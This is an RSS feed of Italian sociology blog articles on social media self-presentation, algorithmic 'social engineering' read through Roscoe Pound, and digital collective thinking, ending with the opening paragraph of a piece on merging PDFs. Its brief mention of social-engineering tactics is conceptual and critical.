<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>digitale Archivi - Sociologicamente</title>
	<atom:link href="https://sociologicamente.it/tag/digitale/feed/" rel="self" type="application/rss+xml" />
	<link>https://sociologicamente.it/tag/digitale/</link>
	<description>Fatti sociali, Sociologia, Informazione</description>
	<lastBuildDate>Sun, 29 Mar 2026 18:49:54 +0000</lastBuildDate>
	<language>it-IT</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.9.4</generator>

<image>
	<url>https://sociologicamente.it/wp-content/uploads/2020/10/cropped-favicon-sociologicamente-32x32.png</url>
	<title>digitale Archivi - Sociologicamente</title>
	<link>https://sociologicamente.it/tag/digitale/</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>La società dello spettacolo 2.0: viviamo in una vetrina digitale?</title>
		<link>https://sociologicamente.it/la-societa-dello-spettacolo-2-0-viviamo-in-una-vetrina-digitale/</link>
		
		<dc:creator><![CDATA[Sociologicamente]]></dc:creator>
		<pubDate>Thu, 19 Mar 2026 15:11:00 +0000</pubDate>
				<category><![CDATA[All]]></category>
		<category><![CDATA[Attualità]]></category>
		<category><![CDATA[digitale]]></category>
		<category><![CDATA[vetrinizzazione]]></category>
		<guid isPermaLink="false">https://sociologicamente.it/?p=18968</guid>

					<description><![CDATA[<p>Scrollando il feed di un social qualsiasi, capita sempre più spesso di imbattersi in vite perfette: foto curate, sorrisi smaglianti, successi condivisi, emozioni raccontate in diretta. Non è più solo lo show business a dominare le scene: oggi tutti possono esibirsi, e quasi tutti lo fanno. Ma cosa accade quando la quotidianità si trasforma in [&#8230;]</p>
<p>L'articolo <a href="https://sociologicamente.it/la-societa-dello-spettacolo-2-0-viviamo-in-una-vetrina-digitale/">La società dello spettacolo 2.0: viviamo in una vetrina digitale?</a> sembra essere il primo su <a href="https://sociologicamente.it">Sociologicamente</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p>Scrollando il feed di un social qualsiasi, capita sempre più spesso di imbattersi in vite perfette: foto curate, sorrisi smaglianti, successi condivisi, emozioni raccontate in diretta. Non è più solo lo show business a dominare le scene: oggi tutti possono esibirsi, e quasi tutti lo fanno. Ma cosa accade quando la quotidianità si trasforma in rappresentazione permanente? <strong>È solo una nuova forma di comunicazione o ci stiamo trasformando in spettatori (e attori) di noi stessi?</strong></p>



<h2 class="wp-block-heading">Visibilità: dalle piazze ai profili social</h2>



<p>Nel passaggio dalla società industriale a quella digitale, il concetto di <strong>visibilità</strong> ha assunto un ruolo centrale. Se un tempo la ribalta pubblica era riservata a politici, celebrità o intellettuali, oggi chiunque può conquistare attenzione grazie a uno smartphone e una connessione. Il sociologo <strong>Erving Goffman</strong> interpretava la vita sociale come una rappresentazione teatrale: ogni individuo si mostra agli altri attraverso “maschere” e ruoli. </p>



<p>Ma mentre Goffman parlava di interazioni dal vivo, oggi queste performance si moltiplicano attraverso profili Instagram, video su TikTok e post su Facebook, costruendo un’immagine costante e curata di sé. Secondo <strong>Zygmunt Bauman</strong>, nella “società liquida” le identità sono fragili e adattabili, spesso modellate per piacere agli altri più che per esprimere sé stessi. <strong>Così, l’apparenza prende il posto dell’essere, e il valore della persona sembra misurato in like, condivisioni e commenti</strong>, trasformando ogni contenuto in una merce da esporre.</p>



<h2 class="wp-block-heading">Essere e sentirsi vivi attraverso la condivisione social</h2>



<p>Nel nuovo ecosistema digitale, la <strong>privacy</strong> non è solo minacciata, viene spesso <strong>volontariamente sacrificata</strong>. Gli utenti condividono dettagli personali, relazioni, viaggi e stati d’animo con una naturalezza crescente. Viviamo anche una forma di <strong>sorveglianza orizzontale</strong>, in cui sono amici, follower e conoscenti a osservarci e giudicarci ogni giorno. </p>



<p>Questo porta con sé un altro fenomeno, la necessità di essere visti per sentirsi vivi. Christopher Lasch, già negli anni Settanta, parlava di “cultura del narcisismo”, dove l’identità si costruisce sull’approvazione altrui. Le piattaforme social amplificano questo meccanismo, favorendo la <strong>spettacolarizzazione del sé</strong> e la perdita di autenticità. In questo scenario, il confine tra realtà e rappresentazione si fa sempre più sottile.</p>



<h2 class="wp-block-heading">Tra libertà di espressione e trappole</h2>



<p>È innegabile che il digitale abbia aperto nuove possibilità di comunicazione e partecipazione. Tuttavia, non possiamo ignorare i rischi legati all’esposizione continua e alla <strong>dipendenza dal giudizio altrui</strong>. Vivere in una “vetrina digitale” significa essere perennemente visibili, ma anche <strong>vulnerabili</strong>. </p>



<p>Occorre allora promuovere un uso più <strong>consapevole e critico</strong> dei media digitali, recuperando il valore dell’autenticità e del <strong>dialogo reale</strong>. Come scriveva Guy Debord, “lo spettacolo non è un insieme di immagini, ma un rapporto sociale fra persone, mediato da immagini”. Forse è proprio in quel “fra persone” che possiamo ancora cercare uno spazio per restare umani, al di là del riflesso dello schermo.</p>



<p><strong><a href="https://www.linkedin.com/in/francescamiano/" type="link" id="https://www.linkedin.com/in/francescamiano/" target="_blank" rel="noreferrer noopener">Francesca Miano</a></strong></p>



<h2 class="wp-block-heading">Bibliografia</h2>



<ul class="wp-block-list">
<li>Bauman Z. <em>Modernità liquida</em>, Roma-Bari, Laterza, 2000.</li>



<li>Debord G. <em>La società dello spettacolo</em>, Milano, Baldini + Castoldi, 1967</li>



<li>Goffman E. <em>La vita quotidiana come rappresentazione</em>, Bologna, Il Mulino, 1959.</li>



<li>Lasch C. <em>La cultura del narcisismo</em>, Milano, Bompiani, 1979</li>
</ul>
<p>L'articolo <a href="https://sociologicamente.it/la-societa-dello-spettacolo-2-0-viviamo-in-una-vetrina-digitale/">La società dello spettacolo 2.0: viviamo in una vetrina digitale?</a> sembra essere il primo su <a href="https://sociologicamente.it">Sociologicamente</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Sociologia e Neuroscienze: come si progetta la società digitale</title>
		<link>https://sociologicamente.it/sociologia-e-neuroscienze-come-si-progetta-la-societa-digitale/</link>
		
		<dc:creator><![CDATA[Sociologicamente]]></dc:creator>
		<pubDate>Tue, 03 Mar 2026 09:07:00 +0000</pubDate>
				<category><![CDATA[All]]></category>
		<category><![CDATA[Cultura e New Media]]></category>
		<category><![CDATA[digitale]]></category>
		<category><![CDATA[neurosociologia]]></category>
		<guid isPermaLink="false">https://sociologicamente.it/?p=18981</guid>

					<description><![CDATA[<p>La crescente digitalizzazione delle relazioni sociali ha trasformato profondamente le modalità di interazione, controllo e regolazione della vita collettiva. In questo contesto, la sociologia è chiamata a confrontarsi con discipline tradizionalmente considerate esterne al proprio dominio, come l’informatica, tra cui spiccano i concetti di ingegneria sociale e le discipline delle neuroscienze. Il presente articolo propone [&#8230;]</p>
<p>L'articolo <a href="https://sociologicamente.it/sociologia-e-neuroscienze-come-si-progetta-la-societa-digitale/">Sociologia e Neuroscienze: come si progetta la società digitale</a> sembra essere il primo su <a href="https://sociologicamente.it">Sociologicamente</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p>La crescente digitalizzazione delle relazioni sociali ha trasformato profondamente le modalità di interazione, controllo e regolazione della vita collettiva. In questo contesto, la sociologia è chiamata a confrontarsi con discipline tradizionalmente considerate esterne al proprio dominio, come l’informatica, tra cui spiccano i concetti di ingegneria sociale e le discipline delle neuroscienze. Il presente articolo propone un’analisi transdisciplinare di tali intersezioni,<strong> rileggendo il concetto di ingegneria sociale alla luce del pensiero di Roscoe Pound</strong> e delle più recenti acquisizioni delle neuroscienze sociali. L’obiettivo è mostrare come algoritmi, norme giuridiche e architetture cognitive costituiscano oggi un continuum di dispositivi di regolazione sociale, ridefinendo i confini tra individuo, tecnologia e società.</p>



<h2 class="wp-block-heading">Introduzione: la sociologia di fronte alla società digitale</h2>



<p>La sociologia si è affermata anche come disciplina critica della modernità industriale, orientata a comprendere le strutture sociali, le istituzioni e i processi di integrazione e conflitto. Tuttavia, la transizione verso una società digitale e algoritmica ha modificato in modo sostanziale le condizioni materiali e simboliche della vita sociale. Le piattaforme digitali, i sistemi informativi e l’intelligenza artificiale non sono meri strumenti neutri, ma attori sociali capaci di orientare comportamenti, modellare relazioni e ridefinire forme di potere. Essi rientrano in uno specifico campo di agency.</p>



<p>In questo scenario, la sociologia non può limitarsi a osservare gli effetti sociali della tecnologia, ma deve interrogarsi sui meccanismi attraverso cui il sociale viene progettato, governato e incorporato nei sistemi tecnici. Da qui emerge la necessità di un dialogo strutturato con l’informatica e le neuroscienze.</p>



<h2 class="wp-block-heading">Informatica e sociologia: dalla descrizione alla simulazione del sociale</h2>



<p>L’incontro tra sociologia e informatica ha dato origine a nuovi approcci metodologici e teorici, tra cui la <em>computational social science</em>. L’uso di big data, algoritmi di machine learning e modelli di simulazione consente di analizzare fenomeni sociali su scala senza precedenti, come la diffusione delle informazioni, la polarizzazione politica e la formazione delle reti sociali.</p>



<p>Tuttavia, l’analisi computazionale del sociale solleva importanti questioni epistemologiche. I dati non sono mai “grezzi”, ma il prodotto di scelte tecniche, culturali e istituzionali. Senza un frame sociologico, l’informatica rischia di ridurre la complessità sociale a pattern statistici privi di significato interpretativo. La sociologia, al contrario, fornisce le categorie concettuali necessarie per comprendere come potere, disuguaglianza e cultura si inscrivano nei sistemi informatici.</p>



<h2 class="wp-block-heading">Ingegneria sociale: tra tecnologia, norme e comportamento</h2>



<p>Il termine ingegneria sociale è comunemente associato alla sicurezza informatica e alle tecniche di manipolazione psicologica. Con il termine ingegneria sociale si indica l’insieme di strategie e tecniche di manipolazione delle interazioni sociali finalizzate a orientare il comportamento degli individui, sfruttando meccanismi psicologici, norme sociali e strutture di fiducia piuttosto che vulnerabilità tecniche dei sistemi. Individui che fingono di essere un collega di un reparto importante, all’interno di una grande azienda o un soggetto appartenente alle forze dell’ordine per ottenere delle informazioni facendo leva sulla naturale fiducia che si instaura tra gli esseri umani.</p>


<div class="wp-block-image is-style-rounded">
<figure class="aligncenter size-large"><a href="https://sociologicamente.it/wp-content/uploads/2020/12/SocialEngineering-700x395-1.png"><img fetchpriority="high" decoding="async" width="1024" height="577" src="https://sociologicamente.it/wp-content/uploads/2020/12/SocialEngineering-700x395-1-1024x577.png" alt="Perché difendersi dal social engineering" class="wp-image-11737" srcset="https://sociologicamente.it/wp-content/uploads/2020/12/SocialEngineering-700x395-1-1024x577.png 1024w, https://sociologicamente.it/wp-content/uploads/2020/12/SocialEngineering-700x395-1-300x169.png 300w, https://sociologicamente.it/wp-content/uploads/2020/12/SocialEngineering-700x395-1-768x433.png 768w, https://sociologicamente.it/wp-content/uploads/2020/12/SocialEngineering-700x395-1-1536x866.png 1536w, https://sociologicamente.it/wp-content/uploads/2020/12/SocialEngineering-700x395-1-696x392.png 696w, https://sociologicamente.it/wp-content/uploads/2020/12/SocialEngineering-700x395-1-1068x602.png 1068w, https://sociologicamente.it/wp-content/uploads/2020/12/SocialEngineering-700x395-1-745x420.png 745w, https://sociologicamente.it/wp-content/uploads/2020/12/SocialEngineering-700x395-1.png 1926w" sizes="(max-width: 1024px) 100vw, 1024px" /></a><figcaption class="wp-element-caption">approfondisci con &#8211; <a href="https://sociologicamente.it/perche-difendersi-dal-social-engineering/" type="link" id="https://sociologicamente.it/perche-difendersi-dal-social-engineering/" target="_blank" rel="noreferrer noopener">Perché difendersi dal social engineering</a></figcaption></figure>
</div>


<p>In ambito informatico e di sicurezza, l’ingegneria sociale consiste nell’indurre una persona a:</p>



<ul class="wp-block-list">
<li>rivelare informazioni riservate</li>



<li>compiere azioni contro il proprio interesse o contro le policy di sicurezza</li>



<li>concedere accessi non autorizzati</li>
</ul>



<p>A differenza degli attacchi puramente tecnici, l’ingegneria sociale agisce sul fattore umano, facendo leva su principi sociali fondamentali quali:</p>



<ul class="wp-block-list">
<li>autorità</li>



<li>reciprocità</li>



<li>urgenza</li>



<li>fiducia</li>



<li>conformità normativa</li>
</ul>



<p>Da un punto di vista sociologico, l’ingegneria sociale non è riducibile a un semplice inganno individuale, ma rappresenta un fenomeno strutturale che sfrutta regole sociali interiorizzate e istituzioni simboliche condivise. In questo senso, essa costituisce un punto di intersezione tra psicologia sociale, sociologia, informatica e studi sul potere. Tuttavia, in senso sociologico, esso rimanda a un progetto più ampio: l’idea che il comportamento umano possa essere orientato attraverso la progettazione razionale di norme, incentivi e strutture.</p>



<p>Da questa prospettiva, l’ingegneria sociale non è un’anomalia, ma una dimensione costitutiva delle società moderne. Politiche pubbliche, sistemi educativi, architetture urbane e, oggi, piattaforme digitali svolgono tutte una funzione di modellamento del comportamento collettivo. Gli algoritmi, in particolare, operano come dispositivi normativi impliciti, definendo ciò che è visibile, rilevante o desiderabile.</p>



<h2 class="wp-block-heading">Roscoe Pound e il diritto come ingegneria sociale</h2>



<p>Un contributo fondamentale alla comprensione dell’ingegneria sociale proviene dal pensiero di Roscoe Pound, uno dei principali esponenti della <em>sociological jurisprudence</em>. Pound concepisce il diritto non come un sistema astratto di regole, ma come uno strumento di ingegneria sociale finalizzato al bilanciamento degli interessi in conflitto all’interno della società.</p>



<p>Secondo Pound, il diritto deve essere valutato in base ai suoi effetti concreti sul comportamento sociale. Questa visione anticipa molte delle attuali riflessioni sui sistemi socio-tecnici: come il diritto, anche gli algoritmi e le piattaforme digitali regolano l’accesso alle risorse, definiscono incentivi e producono conformità. La differenza principale risiede nel grado di trasparenza e responsabilità: mentre il diritto è formalmente contestabile, i sistemi algoritmici operano spesso in modo opaco.</p>



<h2 class="wp-block-heading">Dall’ingegneria giuridica all’ingegneria algoritmica</h2>



<p>L’idea poundiana di ingegneria sociale trova oggi una nuova declinazione nell’ingegneria algoritmica. I sistemi di raccomandazione, i ranking e i meccanismi di nudging digitale orientano le scelte individuali senza ricorrere alla coercizione esplicita. In questo senso, essi rappresentano una forma di controllo sociale “soft”, ma estremamente efficace.</p>



<p>La sociologia è chiamata a interrogarsi su chi eserciti oggi questa funzione di progettazione sociale e con quali finalità. Le piattaforme tecnologiche assumono un ruolo che un tempo spettava allo Stato e al diritto, ridefinendo il rapporto tra governance, mercato e cittadinanza. La nostra privacy è al sicuro? La democrazia può essere influenzata da dinamiche algoritmiche? Basti sollevare dei dubbi sulla creazione online di fake news per modellare il sentimento dei gruppi sociali.</p>



<h2 class="wp-block-heading">Neuroscienze sociali e regolazione del comportamento</h2>



<p>Le neuroscienze sociali offrono un ulteriore livello di analisi, indagando le basi neurobiologiche dell’interazione sociale, della conformità e della fiducia. Studi su empatia, ricompensa e risposta allo stress mostrano come il comportamento sociale sia profondamente incarnato nei processi neuronali.</p>



<p>Queste scoperte rafforzano l’intuizione di Pound secondo cui le norme funzionano solo se tengono conto della natura reale dell’essere umano. Nell’ambiente digitale, la conoscenza dei meccanismi cognitivi viene utilizzata per progettare interfacce e stimoli capaci di catturare l’attenzione e orientare le decisioni. Si assiste così a una convergenza tra ingegneria sociale e neuroscienze, con implicazioni etiche di grande rilievo.</p>



<h2 class="wp-block-heading">Questioni etiche ed epistemologiche</h2>



<p>L’integrazione tra sociologia, informatica e neuroscienze solleva interrogativi fondamentali: fino a che punto è legittimo progettare il comportamento umano? Quali sono i limiti dell’ingegneria sociale algoritmica? Come garantire trasparenza, responsabilità e giustizia sociale nei sistemi digitali?</p>



<p>L’etica dell’informazione e la sociologia critica svolgono un ruolo cruciale nel mettere in discussione l’idea di neutralità tecnologica e nel riaffermare la centralità dei valori democratici nella progettazione dei sistemi socio-tecnici.</p>



<h2 class="wp-block-heading">Conclusione</h2>



<p>La società digitale rende evidente che il sociale non è solo oggetto di analisi, ma anche di progettazione. Informatica, ingegneria sociale e neuroscienze contribuiscono a modellare comportamenti e relazioni, spesso in modo invisibile. La sociologia, rileggendo autori come Roscoe Pound, può offrire una prospettiva critica capace di storicizzare questi processi e di comprenderne le implicazioni normative.</p>



<p>In questo senso, la sociologia non perde la propria identità, ma la rinnova, riaffermandosi come disciplina centrale per comprendere e orientare le trasformazioni della società contemporanea.</p>



<p><strong><a href="https://www.linkedin.com/in/alessandra-volpe-718607ab/" type="link" id="https://www.linkedin.com/in/alessandra-volpe-718607ab/" target="_blank" rel="noreferrer noopener">Alessandra Volpe</a></strong></p>



<h2 class="wp-block-heading">Bibliografia</h2>



<ul class="wp-block-list">
<li><em>Boyd, D., &amp; Crawford, K. (2012). Critical Questions for Big Data. Information, Communication &amp; Society.</em></li>



<li><em>Castells, M. (1996). The Rise of the Network Society. Oxford: Blackwell.</em></li>



<li><em>Durkheim, É. (1895). Le regole del metodo sociologico.</em></li>



<li><em>Floridi, L. (2013). The Ethics of Information. Oxford University Press.</em></li>



<li><em>Franks, D. D. (2010). Neurosociology. Springer.</em></li>



<li><em>Lazer, D. et al. (2009). Computational Social Science. Science.</em></li>



<li><em>Lieberman, M. D. (2013). Social: Why Our Brains Are Wired to Connect. Oxford University Press.</em></li>



<li><em>Pound, R. (1921). An Introduction to the Philosophy of Law. Yale University Press.</em></li>



<li><em>Pound, R. (1942). Social Control Through Law. Yale University Press.</em></li>



<li><em>Thaler, R. H., &amp; Sunstein, C. R. (2008). Nudge. Yale University Press.</em></li>
</ul>
<p>L'articolo <a href="https://sociologicamente.it/sociologia-e-neuroscienze-come-si-progetta-la-societa-digitale/">Sociologia e Neuroscienze: come si progetta la società digitale</a> sembra essere il primo su <a href="https://sociologicamente.it">Sociologicamente</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Il pensiero collettivo digitale: come nasce un senso comune online</title>
		<link>https://sociologicamente.it/il-pensiero-collettivo-digitale-come-nasce-un-senso-comune-online/</link>
		
		<dc:creator><![CDATA[Ferdinando Capicotto]]></dc:creator>
		<pubDate>Tue, 16 Dec 2025 08:54:00 +0000</pubDate>
				<category><![CDATA[All]]></category>
		<category><![CDATA[Attualità]]></category>
		<category><![CDATA[digitale]]></category>
		<category><![CDATA[Mcluhan]]></category>
		<category><![CDATA[pensiero]]></category>
		<guid isPermaLink="false">https://sociologicamente.it/?p=18527</guid>

					<description><![CDATA[<p>Quando Marshall McLuhan parlava di villaggio globale, immaginava un mondo connesso dall’informazione. Sessant’anni dopo, quella visione è diventata realtà, ma con esiti imprevedibili. I social media non sono solo strumenti di comunicazione: sono ecosistemi cognitivi che plasmano opinioni, emozioni e credenze condivise. Nei forum, nei commenti e nei trend, si forma ciò che potremmo chiamare [&#8230;]</p>
<p>L'articolo <a href="https://sociologicamente.it/il-pensiero-collettivo-digitale-come-nasce-un-senso-comune-online/">Il pensiero collettivo digitale: come nasce un senso comune online</a> sembra essere il primo su <a href="https://sociologicamente.it">Sociologicamente</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p>Quando <strong>Marshall McLuhan</strong> parlava di <strong>villaggio globale</strong>, immaginava un mondo connesso dall’informazione. Sessant’anni dopo, quella visione è diventata realtà, ma con esiti imprevedibili. I social media non sono solo strumenti di comunicazione: sono ecosistemi cognitivi che plasmano opinioni, emozioni e credenze condivise.</p>



<p>Nei forum, nei commenti e nei trend, si forma ciò che potremmo chiamare una <strong>mente collettiva digitale: </strong>un sistema diffuso di pensiero in cui le opinioni individuali si fondono, si rafforzano e si replicano, creando schemi di senso che orientano il comportamento sociale.</p>



<h2 class="wp-block-heading">La forza dell’algoritmo: quando la visibilità diventa verità</h2>



<p>Nel mondo digitale, la visibilità coincide spesso con la verità percepita. Gli algoritmi selezionano contenuti in base <em>all’engagement</em>, premiando ciò che suscita reazioni emotive più che riflessioni critiche.<br>Così, il consenso non si forma tanto per argomentazione, quanto per <strong>ripetizione e affinità</strong>: più un’idea viene condivisa, più appare credibile.</p>



<p>Questo meccanismo genera una nuova forma di <strong>conformismo algoritmico</strong>, dove il pensiero collettivo non nasce da un confronto di idee, ma dall’omogeneizzazione dei <em>feed</em>. Ciò che vediamo – e ciò che ci viene nascosto – definisce i confini del nostro immaginario sociale.</p>



<figure class="wp-block-image size-large"><a href="https://sociologicamente.it/wp-content/uploads/2023/09/algoritmo-informazione-fake-news-utente-in-rete-scaled.jpeg"><img decoding="async" width="1024" height="576" src="https://sociologicamente.it/wp-content/uploads/2023/09/algoritmo-informazione-fake-news-utente-in-rete-1024x576.jpeg" alt="utente in rete fake news algoritmo informazione" class="wp-image-15537" srcset="https://sociologicamente.it/wp-content/uploads/2023/09/algoritmo-informazione-fake-news-utente-in-rete-1024x576.jpeg 1024w, https://sociologicamente.it/wp-content/uploads/2023/09/algoritmo-informazione-fake-news-utente-in-rete-300x169.jpeg 300w, https://sociologicamente.it/wp-content/uploads/2023/09/algoritmo-informazione-fake-news-utente-in-rete-768x432.jpeg 768w, https://sociologicamente.it/wp-content/uploads/2023/09/algoritmo-informazione-fake-news-utente-in-rete-1536x864.jpeg 1536w, https://sociologicamente.it/wp-content/uploads/2023/09/algoritmo-informazione-fake-news-utente-in-rete-2048x1152.jpeg 2048w, https://sociologicamente.it/wp-content/uploads/2023/09/algoritmo-informazione-fake-news-utente-in-rete-696x392.jpeg 696w, https://sociologicamente.it/wp-content/uploads/2023/09/algoritmo-informazione-fake-news-utente-in-rete-1068x601.jpeg 1068w, https://sociologicamente.it/wp-content/uploads/2023/09/algoritmo-informazione-fake-news-utente-in-rete-747x420.jpeg 747w" sizes="(max-width: 1024px) 100vw, 1024px" /></a><figcaption class="wp-element-caption">Approfondisci con &#8220;<a href="https://sociologicamente.it/lutente-in-rete-tra-algoritmo-dellinformazione-e-fake-news/" target="_blank" rel="noreferrer noopener">L’utente in rete: tra algoritmo dell’informazione e fake news</a>&#8221; di <strong>Nelly Cantarella</strong></figcaption></figure>



<h2 class="wp-block-heading">La costruzione sociale del consenso digitale</h2>



<p>Il consenso nel mondo online segue logiche proprie. Nei gruppi, nei fandom, nei movimenti sociali digitali, si costruiscono micro-comunità di senso, vere e proprie “tribù digitali”.<br>Come osservava Michel Maffesoli, ogni tribù condivide miti, simboli e linguaggi che rafforzano l’appartenenza. Oggi questi simboli sono hashtag, meme, trend.</p>



<p>Il <strong>senso comune</strong> <strong>digitale </strong>nasce da questo intreccio di emozione, appartenenza e riconoscimento reciproco. Non è necessariamente razionale, ma è profondamente sociale: un prodotto delle nostre interazioni quotidiane mediate dalla tecnologia.</p>



<h2 class="wp-block-heading">La verità come costruzione collettiva</h2>



<p>Nel web 2.5, la verità non è più un dato, ma un <strong>processo collettivo di negoziazione.</strong> Un contenuto diventa “vero” quando riceve consenso. È il trionfo del “mi sembra vero”, dove la percezione prevale sulla verifica. La post-verità, dunque, non è solo disinformazione: è la conseguenza di un ecosistema cognitivo che confonde la partecipazione con la conoscenza.</p>



<p>In questa dinamica, l’influenza degli <strong>influencer </strong>e dei <strong>content curator</strong> assume un valore sociologico cruciale: non creano solo tendenze, ma orientano interpretazioni del mondo.</p>


<div class="wp-block-image">
<figure class="aligncenter size-large"><a href="https://sociologicamente.it/wp-content/uploads/2024/10/ricerca-sociale-sulla-comunicazione-Foto-di-rawpixel.com-form-PxHere.jpg"><img decoding="async" width="1024" height="683" src="https://sociologicamente.it/wp-content/uploads/2024/10/ricerca-sociale-sulla-comunicazione-Foto-di-rawpixel.com-form-PxHere-1024x683.jpg" alt="ricerca sociale sulla comunicazione Foto di rawpixel.com from PxHere" class="wp-image-17240" srcset="https://sociologicamente.it/wp-content/uploads/2024/10/ricerca-sociale-sulla-comunicazione-Foto-di-rawpixel.com-form-PxHere-1024x683.jpg 1024w, https://sociologicamente.it/wp-content/uploads/2024/10/ricerca-sociale-sulla-comunicazione-Foto-di-rawpixel.com-form-PxHere-300x200.jpg 300w, https://sociologicamente.it/wp-content/uploads/2024/10/ricerca-sociale-sulla-comunicazione-Foto-di-rawpixel.com-form-PxHere-768x512.jpg 768w, https://sociologicamente.it/wp-content/uploads/2024/10/ricerca-sociale-sulla-comunicazione-Foto-di-rawpixel.com-form-PxHere-1536x1024.jpg 1536w, https://sociologicamente.it/wp-content/uploads/2024/10/ricerca-sociale-sulla-comunicazione-Foto-di-rawpixel.com-form-PxHere-696x464.jpg 696w, https://sociologicamente.it/wp-content/uploads/2024/10/ricerca-sociale-sulla-comunicazione-Foto-di-rawpixel.com-form-PxHere-1068x712.jpg 1068w, https://sociologicamente.it/wp-content/uploads/2024/10/ricerca-sociale-sulla-comunicazione-Foto-di-rawpixel.com-form-PxHere-630x420.jpg 630w, https://sociologicamente.it/wp-content/uploads/2024/10/ricerca-sociale-sulla-comunicazione-Foto-di-rawpixel.com-form-PxHere.jpg 1575w" sizes="(max-width: 1024px) 100vw, 1024px" /></a><figcaption class="wp-element-caption">Approfondisci con &#8220;<a href="https://sociologicamente.it/ricerca-sociale-sulla-comunicazione-metodi-e-tecniche/" target="_blank" rel="noreferrer noopener">Ricerca sociale sulla comunicazione: metodi e tecniche</a>&#8221; di Francesco D&#8217;Ambrosio</figcaption></figure>
</div>


<h2 class="wp-block-heading">Pensiero critico nell’era del pensiero condiviso</h2>



<p>La sfida oggi è recuperare una forma di pensiero critico capace di muoversi dentro, ma anche contro, la logica dei social. Educare alla <strong>cittadinanza digitale </strong>non significa solo imparare a usare la tecnologia, ma anche comprendere come essa modella la nostra percezione collettiva della realtà.</p>



<p>Serve una consapevolezza nuova: quella che la rete non è neutra, che ogni like è una micro-decisione cognitiva, e che ogni condivisione contribuisce – nel bene e nel male – alla costruzione del pensiero comune.</p>



<h2 class="wp-block-heading">Il futuro del pensiero collettivo digitale</h2>



<p>Il <strong>pensiero collettivo digitale </strong>è la nuova forma del senso comune contemporaneo: fluido, frammentato, iperconnesso. È il risultato di milioni di micro-azioni quotidiane che, sommandosi, costruiscono verità condivise. In questo spazio, la sociologia ha il compito di indagare non tanto <em>cosa</em> pensiamo online, ma come ci arriviamo a pensarla così. Perché capire le dinamiche del pensiero collettivo digitale significa comprendere il modo in cui la società, oggi, pensa se stessa.</p>



<h2 class="wp-block-heading">Bibliografia</h2>



<ul class="wp-block-list">
<li>McLuhan, M. (1964). <em>Gli strumenti del comunicare</em>. Milano: Il Saggiatore.</li>



<li>Maffesoli, M. (1988). <em>Il tempo delle tribù. Il declino dell’individualismo nelle società postmoderne</em>. Roma: Armando.</li>



<li>Moscovici, S. (1961). <em>La psychanalyse, son image et son public</em>. Paris: PUF.</li>



<li>Pariser, E. (2011). <em>The Filter Bubble: What the Internet Is Hiding from You</em>. Penguin.</li>



<li>Sunstein, C. R. (2017). <em>#Republic: Divided Democracy in the Age of Social Media</em>. Princeton University Press.</li>



<li><a href="https://amzn.to/4nR9sEG" target="_blank" rel="noreferrer noopener">Han, B.-C. (2021). <em>Psicopolitica. Il neoliberismo e le nuove tecniche del potere</em>. Nottetempo.</a></li>
</ul>
<div class="saboxplugin-wrap" itemtype="http://schema.org/Person" itemscope itemprop="author"><div class="saboxplugin-tab"><div class="saboxplugin-gravatar"><img decoding="async" src="https://sociologicamente.it/wp-content/uploads/2020/06/capi.jpg" width="100"  height="100" alt="Ferdinando Capicotto" itemprop="image"></div><div class="saboxplugin-authorname"><a href="https://sociologicamente.it/author/ferdinandocapicotto/" class="vcard author" rel="author"><span class="fn">Ferdinando Capicotto</span></a></div><div class="saboxplugin-desc"><div itemprop="description"><p>Nato a Catanzaro il 5 luglio 1989. Dal 2017 è iscritto presso l&#8217;Ordine dei Giornalisti sezione Pubblicisti. Ha conseguito nel 2013 la laurea triennale in Servizio Sociale, nel 2016 la laurea triennale in Sociologia mentre nel 2018 la laurea specialistica in Organizzazioni e Mutamento Sociale. Nel 2020 ha ottenuto la quarta laurea in Scienze dell&#8217;Economia. Inoltre ha già pubblicato tre volumi di una trilogia di fantascienza.</p>
</div></div><div class="clearfix"></div></div></div><p>L'articolo <a href="https://sociologicamente.it/il-pensiero-collettivo-digitale-come-nasce-un-senso-comune-online/">Il pensiero collettivo digitale: come nasce un senso comune online</a> sembra essere il primo su <a href="https://sociologicamente.it">Sociologicamente</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Come unire PDF e organizzare le idee nella società digitale</title>
		<link>https://sociologicamente.it/come-unire-pdf-e-organizzare-le-idee-nella-societa-digitale/</link>
		
		<dc:creator><![CDATA[webmaster]]></dc:creator>
		<pubDate>Tue, 28 Oct 2025 14:47:18 +0000</pubDate>
				<category><![CDATA[All]]></category>
		<category><![CDATA[Featured]]></category>
		<category><![CDATA[digitale]]></category>
		<guid isPermaLink="false">https://sociologicamente.it/?p=18550</guid>

					<description><![CDATA[<p>Viviamo in un’epoca in cui la quantità di informazioni prodotte ogni giorno supera di gran lunga la nostra capacità di gestirle. Email, appunti, documenti e file di lavoro si accumulano in modo costante, spesso senza un vero criterio. L’organizzazione dei contenuti digitali non è più un gesto tecnico o un’abitudine di pochi, ma una vera [&#8230;]</p>
<p>L'articolo <a href="https://sociologicamente.it/come-unire-pdf-e-organizzare-le-idee-nella-societa-digitale/">Come unire PDF e organizzare le idee nella società digitale</a> sembra essere il primo su <a href="https://sociologicamente.it">Sociologicamente</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p>Viviamo in un’epoca in cui la quantità di informazioni prodotte ogni giorno supera di gran lunga la nostra capacità di gestirle. Email, appunti, documenti e file di lavoro si accumulano in modo costante, spesso senza un vero criterio. L’organizzazione dei contenuti digitali non è più un gesto tecnico o un’abitudine di pochi, ma una vera e propria forma di cultura quotidiana.</p>



